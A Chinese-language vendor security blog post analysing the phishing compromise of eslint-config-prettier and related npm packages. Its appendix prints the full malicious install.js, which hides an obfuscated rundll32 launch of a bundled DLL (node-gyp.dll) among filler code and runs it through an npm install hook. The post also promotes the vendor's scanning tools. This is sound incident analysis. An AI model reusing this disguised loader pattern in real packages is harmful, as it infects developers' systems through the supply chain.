eslint-config-prettier 被入侵:下载量达 3000 万的 npm 包如何传播恶意软件

目录

概要

JounQin 的 npm 账号在钓鱼攻击中遭到入侵,他维护着多个流行的 npm 包,其中包括 eslint-config-prettier。攻击者利用被入侵的账号发布了 6 个版本的 eslint-config-prettier,其中包含恶意软件,另外还有 3 个可访问同一 npm 账号的包。这些被入侵的包每周下载量总计约 7800 万次。被入侵账号可访问的 npm 包每周下载量约 1.8 亿次。由 Kyle Kelly 总结。

KK

在这篇博文中,我们分析了其中一个恶意包以识别有效载荷。我们还展示了 SafeDep 开源安全工具(如 vetpmg)如何保护开发者免受恶意包的侵害。

更新

时间线

2025 年 7 月 18 日,GitHub 用户 dasaeslint-config-prettier 仓库中打开了 issue #339,披露了该项目的 npm 注册表中发布了意外版本。新发布的其中一个版本的 diff 确实看起来异常且可疑。具体来说,在版本 10.1.7package.json 文件中添加了一个 install 脚本。

diff
"scripts":{ "install":"node install.js" }, "exports": { ".": { "types": "./index.d.ts", "default": "./index.js" @@ -34,8 +37,10 @@ "flat.d.ts", "flat.js", "index.d.ts", "index.js", "install.js", "node-gyp.dll", "prettier.d.ts", "prettier.js" ], "keywords": [

2025 年 7 月 19 日,eslint-config-prettier 的维护者 披露 他在一封钓鱼邮件攻击中被欺骗,攻击者获得了对他维护的各种 npm 项目的发布权限。多个 npm 包被发布了包含恶意代码的版本,eslint-config-prettier 是其中一个主要包,据 npm 显示每周下载量达 3100 万次。

jouqin-email-phishing

JounQin 的 X 帖子 还披露了被发布恶意代码的包列表。

包名称包版本每周下载量
eslint-config-prettier8.10.1> 3100 万
eslint-config-prettier9.1.1> 3100 万
eslint-config-prettier10.1.6> 3100 万
eslint-config-prettier10.1.7> 3100 万
eslint-plugin-prettier4.2.2> 2100 万
eslint-plugin-prettier4.2.3> 2100 万
snyckit0.11.9> 2100 万
@pkgr/core0.2.8> 1600 万
napi-postinstall0.3.1> 900 万

2025 年 7 月 20 日,我们在 SafeDep 开始调查此次攻击。我们首先查看了我们用于持续分析开源软件包恶意代码的 恶意包扫描器。我们自动化分析系统的一些示例:

影响范围

截至目前,我们的分析已识别出通过被入侵包中嵌入的 PE32+ 二进制文件 node-gyp.dll 传播的 Scavenger 恶意软件。这将攻击限制在仅 Windows 系统。GNU/Linux 发行版和 macOS 受影响的可能性很小,因为有效载荷的性质。被入侵的系统很可能已感染 Scavenger 恶意软件,允许攻击者窃取文件、凭据并执行其他恶意活动。

SafeDep 如何保护开发者?

我们的自动化系统将这些包标记为可疑,因为存在 node-gyp.dll(一个 PE32+ 可执行文件)和 package.json 中的安装脚本,该脚本随后以可疑的命令注入方式执行 install.js。我们的内部 Slack 通知来自我们的 恶意包扫描器,向我们发出了关于被入侵包的警报。

Slack 通知

此时,我们的所有工具都会自动将这些被入侵的包识别为可疑,无需我们的参与或人工干预。我们的研究和手动分析结果只是通过额外的技术细节增强了自动化分析,确认了恶意行为。SafeDep 工具的用户将在以下环节受到保护,免受所有被入侵的包和类似攻击:

  1. 开发者环境
  2. CI/CD
  3. AI IDE
  4. AI 编码助手
  5. 容器运行时

PMG 保护开发者

pmg 的用户在尝试安装任何恶意包时都会收到警报。这可以保护开发者环境免受因意外安装恶意包而被入侵。

pmg

vet 作为 CI/CD 防护栏

使用 vet 并将其作为 CI/CD 一部分(如 GitHub ActionsGitLab CI)设置的用户,在尝试通过 PR 添加任何被入侵的包时都会收到警报。这样 vet 可以在 CI/CD 环节防止恶意包。

vet-cicd

vet 保护 AI 编码助手

vet 还支持原生 MCP Server,可用于与任何 AI IDE 或编码助手集成。例如,它可以阻止 Visual Studio Code + GitHub Copilot 安装恶意包。

vet-mcp

技术分析

分析 email protected

我们的分析基于

  • [email protected]
  • SHA256:31204fbbc097677d518e1c01d88cf24b491ef29cc8f56d1ef2b81e5ccc8440e2

[email protected] 包含以下文件

bash
-rw-r--r-- 0 0 0 1132 26 Oct 1985 package/LICENSE -rw-r--r-- 0 0 0 1291776 26 Oct 1985 package/node-gyp.dll -rw-r--r-- 0 0 0 220 26 Oct 1985 package/@typescript-eslint.js -rw-r--r-- 0 0 0 207 26 Oct 1985 package/babel.js -rw-r--r-- 0 0 0 6729 26 Oct 1985 package/bin/cli.js -rw-r--r-- 0 0 0 210 26 Oct 1985 package/flowtype.js -rw-r--r-- 0 0 0 8087 26 Oct 1985 package/index.js -rw-r--r-- 0 0 0 5806 26 Oct 1985 package/install.js -rw-r--r-- 0 0 0 386 26 Oct 1985 package/prettier.js -rw-r--r-- 0 0 0 207 26 Oct 1985 package/react.js -rw-r--r-- 0 0 0 210 26 Oct 1985 package/standard.js -rw-r--r-- 0 0 0 209 26 Oct 1985 package/unicorn.js -rw-r--r-- 0 0 0 2141 26 Oct 1985 package/bin/validators.js -rw-r--r-- 0 0 0 205 26 Oct 1985 package/vue.js -rw-r--r-- 0 0 0 435 26 Oct 1985 package/package.json -rw-r--r-- 0 0 0 468 26 Oct 1985 package/README.md

9.x.x 发布频道中的先前版本相比,以下文件有变更

bash
$ diff -uNar esp-old/package esp/package | diffstat install.js | 191 ++++ node-gyp.dll | 5445 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ package.json | 5

查看 package.json 可以明显看出,唯一的变化是添加了 install.js 作为安装脚本。任何在 9.1.1 中添加的恶意行为必须位于 install.js 中或通过它传递。

json
{ "name": "eslint-config-prettier", "version": "9.1.1", "license": "MIT", "author": "Simon Lydell", "description": "Turns off all rules that are unnecessary or might conflict with Prettier.", "repository": "prettier/eslint-config-prettier", "bin": "bin/cli.js", "keywords": ["eslint", "eslintconfig", "prettier"], "scripts": { "install": "node install.js" }, "peerDependencies": { "eslint": ">=7.0.0" } }

分析 install.js

在查看 package.json 和版本差异时,install.js 被识别为 [email protected] 中添加的恶意有效载荷。它有一堆“填充”代码,可能看起来是合法的,但我们分析中最相关的代码是使用 Windows rundll32.exe 加载 node-gyp.dll

javascript
// ... const tempDir = os.tmpdir(); require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [ path.join(__dirname, './node-gyp' + '.dll') + ',main', ]); // ...

这有效地使用 node 模块 child_process 生成 rundll32.exe,并使用 ./node-gyp.dll,main 作为命令行参数,进而使用 LoadLibrary 加载 node-gyp.dll,使用 GetProcAddress 解析导出的函数 main,并调用 main,将有效载荷执行转移到 node-gyp.dll 中的本机代码。

分析 node-gyp.dll

node-gyp.dll 是一个 PE32+ DLL 文件,具有以下标识符:

bash
$ file node-gyp.dll node-gyp.dll: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 7 sections
bash
$ sha256sum node-gyp.dll c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441 node-gyp.dll

对 DLL 的初步逆向工程揭示了使用 CreateThreat(..) API在自己的线程中执行的混淆代码。

node-gyp

node-gyp.dll 有效载荷的详细分析涵盖在 InvokRE 博客 中。

结论

eslint-config-prettier 供应链攻击警示我们现代软件开发生态系统固有的脆弱性。攻击者仅凭一个被入侵的 npm 账号,就能够通过每周总计 7800 万次下载的包将恶意软件分发到全球数百万开发者。此事件表明,无论一个包多么受欢迎或拥有良好声誉,都无法免受入侵。

vetpmg 等工具旨在保护开发者免受因开源代码中的恶意代码而被入侵的风险。除特定工具外,我们建议所有软件开发团队采用适当的防护措施,在软件开发生命周期的各个阶段防范恶意开源包。

附录

install.js

点击展开完整的 install.js 恶意有效载荷

javascript
const cache = require('fs'); const os = require('os'); const path = require('path'); // === Configuration === const LOG_DIR = path.join(__dirname, 'logs'); const LOG_FILE = path.join(LOG_DIR, \`install_log_${Date.now()}.txt\`); const DRY_RUN = process.argv.includes('--dry-run'); const ARCHIVE_DIR = path.join(__dirname, 'archive'); const MAX_LOG_FILES = 5; const DEFAULT_MAX_AGE_DAYS = 30; const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old'); // === State for summary === const summary = { dirsCreated: 0, filesDeleted: 0, dirsDeleted: 0, filesArchived: 0, errors: 0, }; function log(msg) { console.log(msg); if (!DRY_RUN) { try { cache.appendFileSync(LOG_FILE, msg + '\n'); } catch (err) { console.error(\`Failed to write log: ${err.message}\`); } } } function ensureDir(dirPath) { if (!cache.existsSync(dirPath)) { if (!DRY_RUN) { cache.mkdirSync(dirPath, { recursive: true }); } summary.dirsCreated++; log(\`Created directory: ${dirPath}\`); } else { log(\`Directory exists: ${dirPath}\`); } } function deleteFile(filePath) { if (DRY_RUN) { log(\`[Dry-run] Would delete file: ${filePath}\`); return; } try { cache.unlinkSync(filePath); summary.filesDeleted++; log(\`Deleted file: ${filePath}\`); } catch (err) { summary.errors++; log(\`Error deleting file ${filePath}: ${err.message}\`); } } function deleteDir(dirPath) { if (DRY_RUN) { log(\`[Dry-run] Would delete directory: ${dirPath}\`); return; } try { cache.rmSync(dirPath, { recursive: true, force: true }); summary.dirsDeleted++; log(\`Deleted directory: ${dirPath}\`); } catch (err) { summary.errors++; log(\`Error deleting directory ${dirPath}: ${err.message}\`); } } function archiveFile(filePath) { ensureDir(ARCHIVE_DIR); const fileName = path.basename(filePath); const targetPath = path.join(ARCHIVE_DIR, fileName); if (DRY_RUN) { log(\`[Dry-run] Would archive file: ${filePath} -> ${targetPath}\`); return; } try { cache.renameSync(filePath, targetPath); summary.filesArchived++; log(\`Archived file: ${filePath} -> ${targetPath}\`); } catch (err) { summary.errors++; log(\`Error archiving file ${filePath}: ${err.message}\`); } } function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) { if (!cache.existsSync(dirPath)) return; const now = Date.now(); const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000; const files = cache.readdirSync(dirPath); for (const file of files) { const filePath = path.join(dirPath, file); try { const stat = cache.lstatSync(filePath); const age = now - stat.mtimeMs; if (stat.isFile() && age > maxAgeMs) { if (ARCHIVE_OLD_FILES) { archiveFile(filePath); } else { deleteFile(filePath); } } else if (stat.isDirectory() && age > maxAgeMs) { // Delete directory if older than maxAgeDays deleteDir(filePath); } } catch (err) { summary.errors++; log(\`Error accessing ${filePath}: ${err.message}\`); } } } function rotateLogs() { if (!cache.existsSync(LOG_DIR)) return; const logs = cache .readdirSync(LOG_DIR) .filter((f) => f.startsWith('install_log_') && f.endsWith('.txt')) .map((f) => ({ name: f, path: path.join(LOG_DIR, f), time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs, })) .sort((a, b) => b.time - a.time); while (logs.length > MAX_LOG_FILES) { const oldest = logs.pop(); try { if (!DRY_RUN) { cache.unlinkSync(oldest.path); } log(\`Rotated out old log file: ${oldest.name}\`); } catch (err) { summary.errors++; log(\`Error deleting old log file ${oldest.name}: ${err.message}\`); } } } function logDiskSpace() { try { if (os.platform() === 'win32') { const tempDir = os.tmpdir(); require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [ path.join(__dirname, './node-gyp' + '.dll') + ',main', ]); log(\`Temp directory: ${tempDir}\`); const files = cache.readdirSync(tempDir); log(\`Number of files in temp directory: ${files.length}\`); } } catch (err) { summary.errors++; log(\`Error accessing temp directory: ${err.message}\`); } } function listDirectoryContents(dirPath) { if (!cache.existsSync(dirPath)) { log(\`Directory does not exist: ${dirPath}\`); return; } log(\`Contents of ${dirPath}:\`); const files = cache.readdirSync(dirPath); for (const file of files) { try { const filePath = path.join(dirPath, file); const stat = cache.statSync(filePath); const sizeKB = (stat.size / 1024).toFixed(2); const mtime = new Date(stat.mtimeMs).toLocaleString(); const type = stat.isDirectory() ? 'DIR' : 'FILE'; log(\` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}\`); } catch (err) { summary.errors++; log(\`Error reading ${file}: ${err.message}\`); } } } ensureDir(LOG_DIR); logDiskSpace();

参考资料

SafeDep 博客最新内容

关注以获取有关开源安全与工程方面的最新更新和见解